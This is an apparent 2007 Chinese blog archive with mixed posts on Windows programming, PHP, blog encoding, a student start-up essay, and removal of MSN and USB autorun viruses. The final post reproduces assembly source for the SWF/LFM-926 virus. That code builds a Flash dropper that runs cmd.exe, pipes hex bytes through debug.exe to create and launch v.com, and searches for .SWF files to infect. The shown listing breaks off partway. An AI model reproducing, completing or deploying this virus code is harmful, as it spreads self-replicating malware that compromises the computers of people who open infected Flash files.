2007年11月3日

WINDOWS程序,架构

   进行Windows程序设计,实际上是在进行一种对象导向的程序设计(OOP)。这一点在Windows中使用得最多的对象上表现最为明显。这种对象正是Windows之所以命名为「Windows」的原因,它具有人格化的特征,甚至可能会在您的梦中出现,这就是那个叫做「窗口」的东西。


  桌面上最明显的窗口就是应用程序窗口。这些窗口含有显示程序名称的标题列、菜单甚至可能还有工具列和滚动条。另一类窗口是对话框,它可以有标题列也可以没有标题列。

  装饰对话框表面的还有各式各样的按键、单选按钮、复选框、清单方块、滚动条和文字输入区域。其中每一个小的视觉对象都是一个窗口。更确切地说,这些都称为「子窗口」或「控件窗口」或「子窗口控件」。


  作为对象,使用者会在屏幕上看到这些窗口,并通过键盘和鼠标直接与它们进行交互操作。更有趣的是,程序写作者的观点与使用者的观点极其类似。窗口以「消息」的形式接收窗口的输入,窗口也用消息与其它窗口通讯。对讯息的理解将是学习如何写作Windows程序所必须越过的障碍之一。


  这有一个Windows的消息范例:我们知道,大多数的Windows程序都有大小合适的应用程序窗口。也就是说,您能够通过鼠标拖动窗口的边框来改变窗口的大小。通常,程序将通过改变窗口中的内容来响应这种大小的变化。您可能会猜测(并且您也是正确的),是Windows本身而不是应用程序在处理与使用者重新调整窗口大小相关的全部杂乱程序。由于应用程序能改变其显示的样子,所以它也「知道」窗口大小改变了。


  应用程序是如何知道使用者改变了窗口的大小的呢?由于程序写作者习惯了往常的文字模式程序,操作系统没有设置将此类消息通知给使用者的机制。问题的关键在于理解Windows所使用的架构。当使用者改变窗口的大小时,Window给程序发送一个消息指出新窗口的大小。然后程序就可以调整窗口中的内容,以响应大小的变化。

「Windows给程序发送消息。」我们希望读者不要对这句话视而不见。它到底表达了什么意思呢?我们在这里讨论的是程序代码,而不是一个电子邮件系统。操作系统怎么给程序发送消息呢?

  其实,所谓「Windows给程序发送消息」,是指Windows呼叫程序中的一个函数,该函数的参数描述了这个特定消息。这种位于Windows程序中的函数称为「窗口消息处理程序」。

  无疑,读者对程序呼叫操作系统的做法是很熟悉的。例如,程序在打开磁盘文件时就要使用有关的系统呼叫。读者所不习惯的,可能是操作系统呼叫程序,而这正是Windows对象导向架构的基础。

  程序建立的每一个窗口都有相关的窗口消息处理程序。这个窗口消息处理程序是一个函数,既可以在程序中,也可以在动态链接库中。Windows通过呼叫窗口消息处理程序来给窗口发送消息。窗口消息处理程序根据此消息进行处理,然后将控制传回给Windows。


  更确切地说,窗口通常是在「窗口类别」的基础上建立的。窗口类别标识了处理窗口消息的窗口消息处理程序。使用窗口类别使多个窗口能够属于同一个窗口类别,并使用同一个窗口消息处理程序。例如,所有Windows程序中的所有按钮均依据同一个窗口类别。这个窗口类别与一个处理所有按钮消息的窗口消息处理程序(位于Windows的动态链接库中)联结。

  在对象导向的程序设计中,对象是程序与数据的组合。窗口是一种对象,其程序是窗口消息处理程序。数据是窗口消息处理程序保存的信息和Windows为每个窗口以及系统中那个窗口类别保存的信息。


    窗口消息处理程序处理给窗口发送消息。这些消息经常是告知窗口,使用者正使用键盘或者鼠标进行输入。这正是按键窗口知道它被「按下」的奥妙所在。在窗口大小改变,或者窗口表面需要重画时,由其它消息通知窗口。

  Windows程序开始执行后,Windows为该程序建立一个「消息队列」。这个消息队列用来存放该程序可能建立的各种不同窗口的消息。程序中有一小段程序代码,叫做「消息循环」,用来从队列中取出消息,并且将它们发送给相应的窗口消息处理程序。有些消息直接发送给窗口消息处理程序,不用放入消息队列中。

  如果您对这段Windows架构过于简略的描述将信将疑,就让我们去看看在实际的程序中,窗口、窗口类别、窗口消息处理程序、消息队列、消息循环和窗口消息是如何相互配合的。这或许会对您有些帮

  • » 阅读全文...
  • 2007年11月2日

    大学生IT创业计划书

       若干年前,我们憧憬IT业,因为IT业神圣的,很多硅谷的故事给我们很多启迪,IT业不仅可以创造无数富豪,而且其中很多都是年轻的学生,那时候IT就是一个神话……
        
        若干年后,我们进入IT业,发现原来IT没有那么神秘。确实IT创造了很多神话,Yahoo!,Microsoft等是早期IT的神话,现在Google来了,中国的Baidu也上市了,造就了很多百万富翁。中国纳斯达克上市公司很多了,最早的是网易、新浪、搜狐,然后是前程无忧、携程网、空中网、TOM、e龙、掌上灵通、金融界、分众传媒、德信无线、中芯国际、亚信科技、九城软件、CDC(china doc com),现在的baidu。中国目前有18个纳市上市公司,明年还有更多。这样看的话现在的IT业前途是很光明,或许IT业在走向成熟。但是成熟的背后寓意着什么,一个不成熟的行业往往能造就很多天才,一旦这个行业走向成熟,那天才不好容易诞生了,想白手起家什么的,也困难。说到这里都没有围绕题目在转,因为我想先把文章的背景说明下,然后再说明下自己一不是研究这个领域的专家,也不是搞互联网的老手,自己只是一个个人站长,或者说还是一名本科大学生,在这里写这篇文章,唯一一点就是自己还算在互联网里学习了几年,有了一点对IT业,互联网行业自己的一点看法,于是就写下来,大家可以看下,不知道有没有可取之处。 大学生创业网


        现在搞真的很难了,如果你是学生的话,我不是在唬你。你以前可能听说一个加拿大的小学生,9岁左右的时候,就靠互联网挣了不少的财富,2000年他还随加拿大总理访华了,这个小孩子能不能成为比尔·盖次第二我们这里不讨论。这么小的孩子可以成为富翁,只有IT才能成就,但是现在在中国,你说可能吗?反正暂时我没有听说过,以前有一个黑龙江漠河的神童,现在也不说了,结果怎么样我也不知道。刚才说到搞IT难是因为现在IT需要的起点高了,我就拿互联网一个方面说明,2000年以前的时候,做1-2张静态网页就可以挣2-3万,会个动态网页那是非常牛的。加拿大的那个小孩子就是靠做网页挣钱的,阿里巴巴的马云最初积累资金我觉得也是做网页挣的,但是现在有了做网页的工具了,不用一行一行写代码了。而且会做网页的中国人太多了,会ASP、PHP、CGI、JPS、ASP.NET的都大有人在,中国现在有个人网站的人都数不胜数。现在做网站门槛很低,但是很少能成功的。门槛低,但是需要的起点高。本身现在大学生自主创业追者众成者寡,大学生创业很不容易。但是事在认为,相对而言,我感觉大学生如果要创业的话,选择IT业的一些东西,起点是高了,对技术要求是很高,但是只要把握好方向后,坚持不懈还是能成功的。新东方的周承刚,很多喜欢新东方的同学都应该知道,他说了一句话我至今难忘,他说为什么俞敏洪成功了,前提是俞敏洪是当时他们班成绩最差的,而现在原来他们班成绩最好的几个都给他打工,因为在这十年中俞敏洪一直在做同一件事情;百度成功了因为李彦宏一直坚持在做同一件事情,ChinaRen创始人陈一舟再次创业创办“空中网”,然后也成功了。成功学的秘诀就是坚持。所以我觉得大学生IT创业,即使丁磊这样的前辈都不赞成大学生创业,我还是觉得很有好处的。 大学生创业网


        先举几个例子,我自己身边的朋友,他们有的现在已经毕业了,有的现在还是学生,但是起步都是从大学开始的,做的事业都是互联网方面。虽然不是非常成功,但是还是值得我们广大大学生IT创业借鉴的。个人网站站长开始建站的时候肯定喜欢在源码下载站上转悠,都知道中国站长站,我的朋友不是该站站长,但是也是源码下载站,一个是源易网的站长(杭商院),一个是下吧的站长,现在网络开始火了,这些代码下载站也火了,流量也不小,网站收入也不少,肯定能养活站长。FlashKu的站长:碧落洞仙和纳米,陕西的两个学生,网站排名不错,收入也可以。还有商务零八的岳贵,西南交大的,据说他发了,挣钱不少,厦门的站长大会他也去了,也算在圈子还是有一点的知名度的。还有华中科大学生创办的5Q地带,很多大学生朋友都知道。还有2000年清华大学的三位博士、三位硕士创办的蔚蓝书店。这些都算是值得我们学习的前辈。大学生IT创业是行得通的,但是还是应该注意下问题,下面我就谈谈个人的看法:

    大学生创业网


    一、找准目标 大学生创业网


        做IT互联网的,很容易迷失自己,我从余世维老师那里听到这样一个比喻“中国的中关村建设是很失败的,中关村其实就是一个村,因为里面的IT公司小农意识太强了:看到别人卖电脑好,大家都卖电脑;看到别人做通讯设备,大家都做通讯设备”,其实我们这个IT互联网大圈子不也是一个村吗?看到门户网站成功了,无数人都想做门户;看到音乐网站成功了,很多音乐网站就浮现;看到HAO123成功了,无数“HAO123”也跟着上来;现在网络游戏很火,国内制作网络游戏的公司大面积的出现。当然我所说的是一个大环境,不要说个人了,大公司都不好把握方向。对于个人或者大学生团队,应该量力而行,什么能做,什么适合自己去做。若干年前我也失败过,我看到黑龙江几个大学生创办了一个校园电子商务网站,是局域网内的,做盒饭生意,做得有声有色的。我觉得我在技术方面各方面都不会比他们差哪里去的,于是我和同学合作,一起做起了校园电子商务网—巴巴哈,情况怎么样呢?第一年还可以,不过确实很辛苦,因为从进货到整理定单到发货,全部的工作都是自己在做,而且很多交易都是网下进行的,商品的利润也不是很高。到后来问题更严重,时间上已经不允许我再经营,很多外地订单都不能及时送出。最后我总结了下,电子商务特别是B2C电子商务还是前卫的人士玩的东西,在我大学所在地区还没有达到那种程度,一个学校里很少人愿意网上买东西,很少人会利用网络来服务生活的。这是电子商务的困惑,也是互联网的困惑,同时也是中国网民素质、网络教育的困惑。大学生做事情最容易理想化,所以相当然的做事情的也很多,大学生创业失败几率大也是因为这个原因。

  • » 阅读全文...
  • 2007年10月31日

    手动清除chcp.exe病毒 保护MSN的安全

      随着即时通讯工具的强大,木马病毒也加快了脚本,MSN早就成为了其通向第三方计算机感染跳越的平台。在好友圈中,只要盗取一个MSN好友帐号或感染一台用户计算机,病毒即会伸出罪恶之手,将会在用户MSN聊天时发送病毒信息。

        病毒分析
        该病毒属于MSN蠕虫变种,被感染的计算机会自动向MSN联系人发送诱惑文字消息和带毒压缩包,当对方接收并打开带毒压缩包中的病毒文件时,系统即成为新的受害者,并因此尝试感染另一台计算机。病毒大小为434,176 字节,通过MSN聊天工具进行传播。

        被感染的计算机,病毒首先会在系统目录 %Windows%下生成含带病毒源体的F0538_jpg.zip压缩包,随后病毒自身开始在计算机中的%Windows%目录下创建副本chcp.exe 可执行文件,并在注册表[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]分支下建立"chcp.exe"="%Windows%\chcp.exe"自启动项目,然后病毒开始修改注册分支[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]下的"SFCDisable"=dword:ffffff9d  和"SFCScan"=dword:00000000值,进行关闭系统文件保护,并且更改  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]分支下的 "WaitToKillServiceTimeout"=的值为"7000",达到更改自动关闭进程等待时间的效果。

        完成上述后,病毒仍没有安静的等待,而是查找被感染的计算机中是否存在FTP目录,如果有则将原正常程序改名为backup.ftp、backup.tftp并复制到%System%\microsoft目录下,随后在系统目录%System%下写入ftp.exe、tftp.exe、dllcache\tftp.exe、dllcache\ftp.exe可执行程序,做完一系列的手脚,病毒开始向MSN联系人发送诱惑型文字消息,并夹带毒包F0538_jpg.zip欺骗用户打开。

       清除方法
        中了此毒的用户也不要紧张,在了解了生存原理后要想清除该病毒也非难事,只要按照以下几个步骤实施即可将病毒清除出界,让系统中的MSN正常运行。

        一、首先要进入注册表分支[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下,将"chcp.exe"="%Windows%\chcp.exe"自建的随机启动项删除,完成后重启计算机。

        二、进入%Windows%\目录下将病毒源体文件chcp.exe及F0538_jpg.zip压缩包删除。

        三、将目录%System%下的FTP破坏代替程序ftp.exe、tftp.exe、dllcache\tftp.exe、dllcache\ftp.exe删除,并将%System%\microsoft目录下的backup.ftp、backup.tftp改回到目录%System%下。

        四、删除注册表分支[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]下的"SFCDisable"=dword:00000000键值,恢复系统文件保护。

        五、最后将注册表[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]分支下的"WaitToKillServiceTimeout"=改为"20000" 从而恢复系统自动关闭进程等待时间的默认配置。
               
        笔者按:在MSN病毒中变体有很多种如:MSN机器人、MSN小丑、MSN性感相册等,其原理都是利用MSN作为平台在同聊友沟通的同时发送病毒信息,通过MSN好友关系欺骗用户点击,然后再次传播,从而形成强大的传播途径。为了更好的处理此类病毒,这里建议用户加强计算机的先期保护如:开启杀软定时升库,安装安全类软件,不定期打入系统补丁等,并且多了解每日病毒动态,即时作好防范工作即可,一但用户被感染时应立即作出回应,利用手工删除或下载相应的专杀工具进行清理,以免让更多的用户成为受害者。

  • » 阅读全文...
  • 2007年10月30日

    用PHP输出静态页面的两种方法

            用PHP输出静态页面的方法,就我所知道的,有2种,一种是利用模板技术,另一种是用ob系列函数。两种方法,看起来都差不多,但是实际上,却是不同的。

    第一种:利用模板。目前PHP的模板可以说是很多了,有功能强大的smarty,还有简单易用的smarttemplate等。它们每一种模板,都有一个获取输出内容的函数。我们生成静态页面的方法,就是利用了这个函数。用这个方法的优点是,代码比较清晰,可读性好。

    这里我用smarty做例子,说明如何生成静态页

    <?php
    require('smarty/Smarty.class.php');
    $t = new Smarty;
    $t->assign("title","Hello World!");
    $content = $t->fetch("templates/index.htm");
    //这里的 fetch() 就是获取输出内容的函数,现在$content变量里面,就是要显示的内容了
    $fp = fopen("archives/2005/05/19/0001.Html", "w");
    fwrite($fp, $content);
    fclose($fp);
    ?>
    第二种方法:利用ob系列的函数。这里用到的函数主要是 ob_start(), ob_end_flush(), ob_get_content(),其中ob_start()是打开浏览器缓冲区的意思,打开缓冲后,所有来自PHP程序的非文件头信息均不会发送,而是保存在内部缓冲区,直到你使用了ob_end_flush().而这里最重要的一个函数,就是ob_get_contents(),这个函数的作用是获取缓冲区的内容,相当于上面的那个fetch(),道理一样的。代码:

    <?php
    ob_start();
    echo "Hello World!";
    $content = ob_get_contents();//取得php页面输出的全部内容
    $fp = fopen("archives/2005/05/19/0001.html", "w");
    fwrite($fp, $content);
    fclose($fp);
    ?>

  • » 阅读全文...
  • 把o-blog的编码转换为utf8的过程

            前几天我把我使用的o-blog转换为utf8了。现在我整理了一下资料,把转换的过程记录下来,与大家分享一下经验,希望o-blog的新版本中可以出现utf8版本。我现在使用 o-blog 的版本为2.6如果版本不对,请你下载2.6版本.
           在转换之前,我有必要提醒你一下,你必须要把所有的网页和数据库的内容备份一下,万一转换的过程失败,你也可以迅速恢复数据或者可以重新转换。
    如果你备份好数据了,那我们开始吧。我转换的思想是:将所有的文本文件的编码改为utf8,再建立新的charset为utf8的数据库。
            首先,要把o-blog使用的所有文本文件的编码改为utf8,这里所说的文本文件包括o-blog所有的php和模板文件中的html、css文件。上网搜索了一下,可以选择的工具有UltraEdit和EditPlus。不过我使用的是EditPlus。将一个打开,再选择另保存为,再覆盖原来的文件就可以了。在此过程,可能有些文件的编码无法保存为utf8,可以先不管。   
          下面开始修改文件。
           打开 admin/class/mysql.php,找到下面的这一行
          mysql_select_db($dbname);
         在其前面加入以下代码:   
          if($this->version() > '4.1') {
       mysql_query("SET NAMES 'utf8'");
              mysql_query("SET CHARACTER_SET_CLIENT=utf8");
              mysql_query("SET CHARACTER_SET_RESULTS=utf8");
      } else        
    if($this->version() > '5.0.1') {
          mysql_query("SET sql_mode=''");
    }  
            使用EditPlus菜单“查找”下的“在文件中查找”对话框查找charset=gb2312,其中文件夹选择o-blog所在的目录,这样可以省很多的功夫.找到后把charset=gb2312替换为charset=utf-8.      
            其次要修改原来install.php文件
            把 TYPE=MyISAM 替换为 ENGINE=MyISAM  DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci。
            然后在你的空间中运行install.php,进行新的安装,如果你使用的数据库和原来的那个相同,我特别要提醒你,使用的表的前缀必须要和原来的不同,要不然会造成数据库里面原来的数据被覆盖。
           安装结束后你可以打开o-blog来看看页面上是否出现乱码,如果出现了乱码,你得查看你使用php文件和模板文件的编码是否为utf8. 如果显示的文字,还未算转换成功。由于o-blog里面使用的切割字符串函数并不是用来切割utf8字符集,在切割得出的字符串中最后一个汉字的编码很有可能不完全,这样在网页的源代码中看到的所有中文是乱码。下面要打开admin/functions.php查找 “cn_substr”函数,大概在272行,在其前面加入以下函数:
    // 用来避免 utf8 乱码
    function utf8_trim($str) {
        $len = strlen($str);
        for($i=strlen($str)-1;$i>=0;$i-=1){
            $hex .= ' '.ord($str[$i]);
            $ch   = ord($str[$i]);
            if(($ch & 128)==0)    return substr($str,0,$i);
            if(($ch & 192)==192)return substr($str,0,$i);
        }
        return($str.$hex);
    }
    前往 291 行,就会看到 return $s."...";
    在前面一行加入调用utf8_trim的以下代码
    $s = utf8_trim($s);
    这样的做法存在冗余的代码,不过这样做是最为简单的,希望风色可以进行改进。
          按照网上的说法,还要修改函数htmlspecialchars,把原来的用法
          $s=htmlspecialchars($s);
          改为 $s = htmlspecialchars($s,ENT_QUOTES,"UTF-8");
          我修改了一部分就没有修改了,因为我发现blog已经没有乱码问题了,查看数据库里面的内容,挺很正常。所以我也不知道那个修改有没有用了,有兴趣的网友可以试试看。
    不知道你们转换怎么样了呢?我的可以正常运行了。
           下面还有一个问题,怎么样把原来的数据导入到里面去。我想到了两个解决的方向。
    第一、后台里面的数据的导入导出。导入的数据会转换为gb2312,这是与现在使用utf8冲突的,这就需要修改现在代码,把原来备份的数据导进去。我没有深入了解那部分的代码,所以我不知道怎么修改,解决了导入,还要解决导出的问题。
    第二、在另外一个博客程序cblog中,有把o-blog转换为cblog的程序,可以把gb2312编码的数据转换为utf8并插入到现在使用的数据库里面去。可能修改一下代码就可以拿来用了。可是这部分我也没有研究,我的日志比较少,基本上已经手动输入到现在使用的博客里面去了。
            希望风色或者longbill研究一下,怎么处理好数据的导入导出这部分,更加希望拥有新版本的o-blog。
            如果文章中还有遗漏的地方,请提出来,我边修改边测试的,当时没有作记录,现在也是考记忆来写这篇文章了。
            我在写这篇文章的时候,longbill也处理好转换为utf8的问题了,呵呵,恭喜!

  • » 阅读全文...
  • 编写autorun病毒免疫工具

    autorun病毒的危害相信中过招的人都有体会。其最大的特点就在于很难清除干净,现在可以提前对系统分区做一次免疫工作,而那些已经中了autorun病毒的用户也能顺便将病毒清除。  
        
    有人曾经使用系统组策略的方法,不过对于初学者来说有点复杂。现在复制以下代码到文本文件中,保存为bat文件即可。
        @echo off
    cls
    echo          按 S 键删除Autorun.inf并进行免疫
    echo.
    echo          按 D 键删除免疫程序
    echo.
    echo          按其他任意键退出
    echo.
    echo.
    SET Choice=
    SET /P Choice=        请选择要进行的操作:  
    IF /I ’%Choice:~0,1%’==’s’ GOTO setup
    IF /I ’%Choice:~0,1%’==’d’ GOTO Delset
    IF /I ’%Choice:~0,1%’==’q’ GOTO Exit
    exit
    :Setup
    taskkill /im explorer.exe /f
    for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do @(
        if exist %%a: (
            rd %%a:\autorun.inf /s /q
            del %%a:\autorun.inf /f /q
            mkdir %%a:\autorun.inf
            mkdir %%a:\autorun.inf\"病毒免疫勿删除../" 
            attrib +h +r +s %%a:\autorun.inf
            
        ) 
    )
    start explorer.exe
    for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
      if exist %%a:\nul (
        >1.vbs echo msgbox^ "%%a:免疫成功",64,"提示:"
        1.vbs
      )
    )
    del 1.vbs
    echo.
    echo.
    echo                        按任意键退出...
    pause>nul
    exit
    :delset
    For %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do @(
        If Exist %%a: (      
            rd %%a:\autorun.inf /s /q
                    
        ) 
    )
    echo.
    echo.
    echo                        操作完毕,按任意键退出...
    pause>nul
    exit

        具体原理为通过检测autorun.inf和删除相应文件达到直接消灭病毒的目的。操作比较简单,只要按两个键就可以了。

  • » 阅读全文...
  • U盘(auto病毒)类病毒分析与解决方案

    一、U盘病毒简述: 
      U盘(自动运行)类病毒(auto病毒)近来非常常见,并且具有一定程度危害,它的机理是依赖Windows的自动运行功能,使得我们在点击打开磁盘的时候,自动执行相关的文件。目前我们使用U盘都十分频繁,当我们享受U盘所带来的方便时,U盘病毒也在悄悄利用系统的自动运行功能肆意传播,目前流行的U盘病毒文件大家甚至耳熟能详了,比如经常有网友问的SSS.EXE SXS.EXE如何查杀这类的,下面我们将对U盘病毒极其特性和防范办法进行分析总结。
      
    二、特性分析:
      所谓的自动运行功能是指Windows系统一种方便特性,使当光盘、U盘插入到机器自动运行,而这种特性的实现就是通过磁盘跟目录下的 autorun.inf文件进行。这个文件保存在驱动器的根目录下(一般会是一个隐藏属性的系统文件),它保存着一些简单的命令,告知系统新插入的光盘或 U盘应该自动启动什么程序等。
      常见的Autorun.inf文件格式大致如下:
      [AutoRun]    //表示AutoRun部分开始,必须输入
      icon=C:\C.ico  //指定给C盘一个个性化的盘符图标C.ico
      open=C:\1.exe  //指定要运行程序的路径和名称,只要在此放入病毒程序就可自动运行;
      在Windows系统有允许和阻止自动运行的键值的方法:
      在注册表中找到如下键:
      键路径:[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer]
      在右侧窗格中有 "NoDriveTypeAutoRun"这个键决定了是否执行Autorun功能.其中每一位代表一个设备,不同设备用以下数值表示:
      设备名称 第几位 值 设备用如下数值表示 设备名称含义
      DRIVE_UNKNOWN 0 1 01h 不能识别的类型设备
      DRIVE_NO_ROOT_DIR 1 0 02h 没有根目录的驱动器
      DRIVE_REMOVABLE 2 1 04h 可移动驱动器
      DRIVE_FIXED 3 0 08h 固定的驱动器
      DRIVE_REMOTE 4 1 10h 网络驱动器
      DRIVE_CDROM 5 0 20h 光驱
      DRIVE_RAMDISK 6 0 40h RAM磁盘
      其中: 保留 7 1 80h  未指定的驱动器类型
      以上值"0"表示设备运行,"1"表示设备不运行。
      从上面可以看出,对应的DRIVE_NO_ROOT_DIR、DRIVE_FIXED、DRIVE_CDROM、DRIVE_RAMDISK是可以自动运行的。所以要禁止硬盘自动运行AutoRun.inf文件,就必须将DRIVE_FIXED这些键的值设为1,由于DRIVE_FIXED代表固定的驱动 器(即硬盘)。如果仅想禁止软件光盘的AutoRun功能,但又保留对CD音频碟的自动播放能力,这时只需将“NoDriveTypeAutoRun”的键值改为:BD,00,00,00即可。
      U盘病毒就是利用这种系统特性,一般在感染后会修改系统的注册表,将显示所有文件的选项设置为禁止。甚至修改磁盘关联,杀毒软件一般会只把病毒文件清除,但对残余的文件不会处理。这也是常见的杀毒软件为什么常常无法清除干净,或者清除后双击无法打开磁盘的原因。
      
    三、解决方案:
      1、使用超级巡警套装来全面解决U盘病毒问题(推荐!):
      ①超级巡警对U盘病毒检测进行了特别的处理,可以快速的监测和定位U盘病毒,并清除它们。
      ②超级巡警同时还提供对注册表关联修复和自动运行阻止的处理。
      2、手动解决办法:
      ①根据上面的原理,自己修改注册表禁止磁盘的自动运行特性。
      ②把文件夹选项中隐藏受保护的操作系统文件钩掉,选中显示所有文件和文件夹,点击确定。这样可以在感染病毒的移动存储设备中会看到几个文件(包括autorun.inf和病毒文件),删除后,病毒就清除了。
  • » 阅读全文...
  • 2007年10月29日

    利用 hotspot shield 访问你想访问的站点

    hotspot shield 是一个在访问 wi-fi 热点时让你处于匿名状态、保护你隐私的工具,它通过在你的计算机和无线路由间创建一个 VPN,可以将你在互联网上的所有活动自动加密并通过 wi-fi 进行传输。attachments/200710/4395408838.png
    我们要关注的是,利用 hotspot shield,能够将我们的 ip 地址伪装成美国的,这样一来,很多由于
    不可抗力因素不能访问的站点都能够轻轻松松的进行浏览了。相比@无&界@和@自&由#门@,它的速度还是比较快的,并且没有浏览器种类的限制。
    另外,一些 web 2.0 站点在测试时的注册有国家限制,比如说只对美国和加拿大开放,通过 hotspot shield 现在你也可以很轻松的注册了。
  • » 阅读全文...
  • XmiServer_v2.4.2 ASP+CGI+PHP+JSP+MySQL 全能服务器套件

    XmiServer_v2.4.2 ASP+CGI+PHP+JSP+MySQL 全能服务器套件发布!

    软件名称:XmiServer_v2.4.2
    软件版本:v2.4.2
    软件授权:免费软件
    使用平台:WinNT/XP/2000/2003

    下载地址
      1.  下载文件XmiServer_v2.4.2 ASP+CGI+PHP+JSP+MySQL 全能服务器套件.rar (0 Byte , 下载:285次)  (推荐!高速下载!)
      2. http://pickup.mofile.com/cn/index.do (MoFile) 请在左上角输入文件提取码: 6376342876538358  (有时效!!!)

    简介:
    XmiServer_v2.4是一款基于Apache+Tomcat的全能服务器套件,
    拥有安装简单、便捷、绿色、免配置等特点,
    可以快速搭建 ASP+CGI+PHP+JSP+MySQL 全能网站服务器平台,
    方便您调试和开发ASP、CGI、PHP、JSP 等程序。

    目录简要说明:
    XmiServer
    ├─Links 各组件快捷链接
    ├─Server 程序主目录
    │ ├─Apache Apache程序目录
    │ ├─Database MySQL 数据库目录
    │ │ ├─Database_MySQL5 MySQL5 数据库目录
    │ │ └─Database_MySQL4 MySQL4 数据库目录
    │ ├─JAVA JAVA程序目录
    │ ├─MySQL4 MySQL4 程序目录
    │ ├─MySQL5 MySQL5 程序目录
    │ ├─PHP PHP程序目录
    │ ├─phpMyAdmin phpMyAdmin目录
    │ ├─TempLogs 临时文件及日志文件目录
    │ ├─Tomcat Tomcat程序目录
    │ └─Zend Zend Optimizer 程序目录
    └─wwwRoot 虚拟主机网站根目录
    ├─asp ASP程序目录
    ├─cgi-bin CGI程序目录
    └─webapps JSP程序目录

    使用程序版本:
    Apache v2.2.4
    Tomcat v5.5.20
    Netbox v2.8.4128
    PHP v5.2.0
    MySQL5 v5.0.27
    MySQL4 v4.0
    MiniPerl v5.8
    JDK v1.5.0_07
    Zend v3.2.0
    phpMyAdmin v2.9.1.1

  • » 阅读全文...
  • 2007年10月28日

    国外的第一只[感染*.swf]flash病毒的源代码

    SWF/LFM-926 Virus:
    ; ------------------
    ; Description: WinNT/XP Virus dropper for Flash .SWF files!
    ; Masm Version 6.11: ML.EXE SWF.ASM
    ; Virus Size: 926 bytes
    ; Infection Size: 3247 bytes.
    ; Last Edit: 01/08/2002

    ; --------------------------------- Begin Source Code ------------------------------------

    .286
    .model tiny
    .code
    org 100h

    Entry: jmp Start

    VIR_SIZE equ Virus_End-Entry

    DTA db 128 dup(0) ; Offset DTA+30 = filename
    HANDLE dw ? ; Handle to host file
    PTR1 dd 0 ; Segment address of the created memory block
    PATH db "*.SWF",0 ; File mask
    BINARY db "v.com",0 ; Binary code
    HEX db "0123456789ABCDEF" ; Binary to hex

    ; Flash header block.
    ; -------------------
    SIGN_FW dw ? ; SWF file format
    SIGN_S db ?
    VERSION_NUM db ?
    FILE_LENGTH dw ?
    dw ?
    STATIC_HDR_SIZE equ $-SIGN_FW

    RECT_BUF db 20 dup(0) ; Header length is variable because the RECT region isnt static. ;(
    RECT_BUF_SIZE equ $-RECT_BUF

    HDR_SIZE dw ? ; Holds the true header size!

    ; Start of Viral Frame 0.
    ; -----------------------
    Drop_BEGIN db 03fh,003h ; DoAction Tag(12) long format. Learn the bytecodes!
    TAG_LENGTH dw 0 ; (ACTION LENGTH+3)+1[END_TAG]
    dw 0
    db 083h ; ActionGetUrl Tag
    ACTION_LENGTH dw 0 ; (Drop_BEGIN_SIZE-9)+(SUM OF Drop_MIDDLE)+(Drop_END_SIZE)
    db FSCommand:exec
    db 000h
    db cmd.exe
    db 009h ; chr(9) is Flash code for a space character.
    db /c
    db 009h
    db echo
    db 009h
    db Loading.Flash.Movie...
    db &
    db (echo
    db 009h
    db n
    db 009h
    db v.com&echo
    db 009h
    db a
    db 009h
    db 100&
    Drop_BEGIN_SIZE equ $-Drop_BEGIN

    Drop_MIDDLE db echo
    db 009h
    db db
    db 009h
    db 71 dup(,) ; db XX,...,XX where XXs are viral hex codes.
    db &
    Drop_MIDDLE_SIZE equ $-Drop_MIDDLE

    Drop_END db &echo.&echo
    db 009h
    db rcx&echo
    db 009h
    db 39E ; Define hex 39E (VIR_SIZE) as a string. Changes if this code changes.
    db &echo
    db 009h
    db w&echo
    db 009h
    db q)|debug.exe>nul&start
    db 009h
    db /b
    db 009h
    db v.com
    db 000h ; StringEnd Tag
    Drop_END_SIZE equ $-Drop_END

    ; End of Viral Frame 0.
    ; ---------------------
    END_TAG db 001h ; Action code 0x01 = tagshowframe Tag

    Start:
    mov ax,(VIR_SIZE+0fh)
    shr ax,4
    shl ax,1
    mov bx,ax ; Allocate (VirusSize*2)
    mov ah,4ah
    int 21h ; Resize block
    jc ExProg

    mov dx,offset DTA ; Set DTA operation
    mov ah,1ah
    int 21h

    mov cx,07h
    mov dx,offset PATH
    mov ah,4eh ; FindFirst
    int 21h
    jc ExProg
    jmp Infect
    Cycle:
    mov dx,offset PATH
    mov ah,4fh ; FindNext
    int 21h
    jc ExProg
    jmp Infect
    ExProg:
    mov ax,4301h ; Hide v.com
    mov cx,02h
    mov dx,offset BINARY
    int 21h

    mov ax,4c00h ; End program
    int 21h
    Infect:
    mov byte ptr DTA[30+12],$
    mov dx,offset (DTA+30)

    mov ax,3d02h ; Open host file
    int 21h
    jc ExProg

    mov [HANDLE],ax ; Save file handle

    mov ax,3f00h ; Read file Header
    mov dx,offset SIGN_FW
    mov bx,[HANDLE]
    mov cx,(STATIC_HDR_SIZE+RECT_BUF_SIZE)
    int 21h
    jc ExProg

    cmp word ptr SIGN_FW,WF ; Check for a valid Flash SWF file.
    jne Cycle ; Try another file ...
    cmp byte ptr SIGN_S,S
    jne Cycle
    cmp byte ptr VERSION_NUM,099h ; Already infected?
    je Cycle

    mov cx,RECT_BUF_SIZE ; Search for the SetBackgroundColor Tag.
    xor di,di ; Seems to always exist directly after the header.
    next: cmp byte ptr RECT_BUF[di],043h
    jne not_found
    cmp byte ptr RECT_BUF[di+1],002h
    jne not_found
    jmp found
    not_found:
    inc di
    loop next
    jmp Cycle
    found:
    mov word ptr HDR_SIZE,STATIC_HDR_SIZE
    add word ptr HDR_SIZE,di ; Compute the header size

    mov ax,4200h ; Reset file ptr right after Flash header
    xor cx,cx
    mov dx,[HDR_SIZE]
    int 21h
    jc ExProg

    push bx
    mov ax,word ptr FILE_LENGTH
    add ax,15
    shr ax,4
    mov bx,ax
    mov ah,48h ; Allocate memory for target host file
    int 21h
    pop bx
